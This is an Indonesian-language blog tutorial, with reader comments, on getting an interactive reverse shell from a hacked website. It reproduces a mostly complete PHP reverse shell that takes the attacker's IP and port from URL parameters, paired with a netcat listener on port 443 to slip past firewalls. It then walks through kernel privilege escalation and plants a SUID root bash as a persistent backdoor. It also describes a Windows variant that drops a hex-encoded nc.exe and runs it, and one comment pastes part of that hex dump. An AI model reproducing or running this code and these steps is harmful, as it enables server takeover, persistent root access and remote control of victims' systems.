in How to

Reverse Connecting Shell di PHP

Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.

Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.

Reverse Shell PHP di Linux

Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.

Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;

Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.

set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;

Jadi source code lengkap rs.php adalah sebagai berikut:

 array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?> 

Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER

Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari sini.

Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.


Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.

Privilege Escalation

Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.

Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.


Reverse Rootshell

Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).

Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.

Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.

Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah “$” yang berarti hanya normal shell sebagai apache.


Reverse Shell di Windows

File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.

Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:


Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:

  • download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
  • upload: dibuat suatu file php untuk melakukan upload file ke webserver.
  • generate: script php akan membuat file nc.exe kemudian mengeksekusinya.

Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.

Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().

Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.


Source code lengkap reverse shell php di windows bisa didownload di sini lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.

Write a Comment

Comment

21 Comments

  1. :: GAN ::

    Postink iank b’bbot unk Sya …

    Hmm.
    Lum smpai stu ilmu na ! Namund . nice Share …

    klau bleh MU sya psank d .blog sya nI ,, Leh nda ..?

    Replay To : E-mail or ChatBox on My .blog ia

    Thank’s

  2. Om kalau muncul ky gini itu knp ya 😀
    Warning: Unknown: failed to open stream: Permission denied in Unknown on line 0

    Fatal error: Unknown: Failed opening required ‘/var/www/joomla/phpshell.php’ (include_path=’.:/usr/share/php:/usr/share/pear’) in Unknown on line 0

  3. wah… jaman dulu namanya backconnect, pake perl / c (biasanya dah include di dalem r57shell), ternyata ada juga versi phpnya 🙂
    mantap bos 🙂

  4. ERROR di listenernya Bosss ..

    evilsystem:~# nc -lvv 443
    Connection from IP_KORBAN port 443 [tcp/https] accepted
    bash: no job control in this shell

    …..
    ada penjelasan??

  5. // isi file nc.exe
    3101 0101 0255 362c 043b dfcc 7ca3 b2ff
    0114 1b89 b009 b914 0100 d908 6c64 2fef
    f743 a88d 6c11 006f e4f6 92cb 6f91 7391
    9298 0f96 985c 8ebc bd65 9d0b 699d 4062
    9b66 9b4a 9cdc 9e30 9c27 349c 1c11 2dea
    77e0 0102 a635 002f 003f 43fc cddf fd00
    a447 00e0 4701 7700 9748 00e0 488d 0098
    4900 e049 dffc cddf 8600 994b 00e0 4b73
    009b 4d00 e04d 7400 9d4f 00cd dffc cde0
    4f75 009f 5000 e050 9100 a051 00e0 5176
    f2cd dffc 00a1 5200 e052 9200 a253 00e0
    5393 00a3 0000 2375 2172 1b24 3100 ba78
    f6fd fbdd 3200 9703 0079 3300 230f 7a34
    0024 077b 9df8 7cf9 df25 0f7c 3600 5e00
    1e7d 3700 267e 3873 6cf0 0a1d 1a39 fd0f
    cf97 ffbc 8030 0029 812d 005f 001f 823d
    002b 8397 b7db 47d4 7f07 0e09 030f 0094
    7100 dfde 4c6d 9f11 36e4 5700 1707 1165
    0045 6b25 3614 dd12 7209 0407 db6f 866d
    13d4 54f7 0279 0059 0019 0715 5de1 ad6d
    da55 0407 1669 0009 4317 cdb1 c1ee 6f00
    4f48 0018 d650 1322 0477 fbb5 5ba2 c71a
    5d9a 001d d655 53ad 0e1b 1ce7 6191 a6fe
    526b d51e 815c cc1f 6400 4400 04a2 c4a7
    6e66 0046 c321 671d e75b c78e a222 689f
    083f 236a 004a 4b34 60e1 246b 006f 0b9a
    164c ffda efcb 000c 263b 003a 4e27 272a
    0728 6000 7eca 4290 3a95 225c 28be b5c7
    747a 005a 8c06 2c78 0058 2c74 14ef 0c2d
    6300 43db 2e8e 56e8 28de 51af 2f62 0042
    f230 95b8 1596 c54e 1407 316d 8d3d be3f
    dfb1 0032 2c00 3c33 2e00 3e07 3413 9534
    8774 8d35 2a72 740d dbb2 10a0 54a2 6846
    5574 9b5b 3082 2e3d 70a4 6a4e 5761 6b6e
    3304 ce3f 907c ce40 58dc 82db 9a94 7641
    a80c 6e8e 0bcd 2d14 4284 6fa6 c214 7065
    2d14 0c1e 4a14 71fe 36cb 663b 4737 0777
    4838 8d49 394a f0e4 d91f 842d 4b34 dcf2
    2c70 c0b2 4d36 7d74 2b36 cb66 794f 3175
    5032 9151 3396 cdb2 5976 5230 9253 2e93
    bff4 bf42 e085 e087 e089 e08b 09e0 88e0
    8ae0 8d72 66a4 8c5b a203 3791 9cc0 56b2
    24e0 4881 da45 5c00 a5c0 d0c5 852e fd1f
    5253 4453 d7cf 6e06 6ef8 969f a9d3 3d46
    fcf5 fc8a 7e26 0063 3a5c 3e5c 5265 817d

    seharusnya file netcat di encode ke base64(gzdeflate()) trus nanti di decode, lah ini apa an :’v